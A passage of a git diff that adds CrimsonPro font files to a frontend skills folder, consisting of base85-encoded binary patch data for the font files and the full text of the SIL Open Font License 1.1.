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 JHVSe0{huHv7!&{i literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/CrimsonPro-OFL.txt b/skills/frontend-dev/canvas-fonts/CrimsonPro-OFL.txt new file mode 100644 index 0000000..f976fdc --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/CrimsonPro-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/CrimsonPro-Regular.ttf b/skills/frontend-dev/canvas-fonts/CrimsonPro-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f5666b9beb8fb808ee56e78726a5b754e67d1ae7 GIT binary patch literal 106696 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 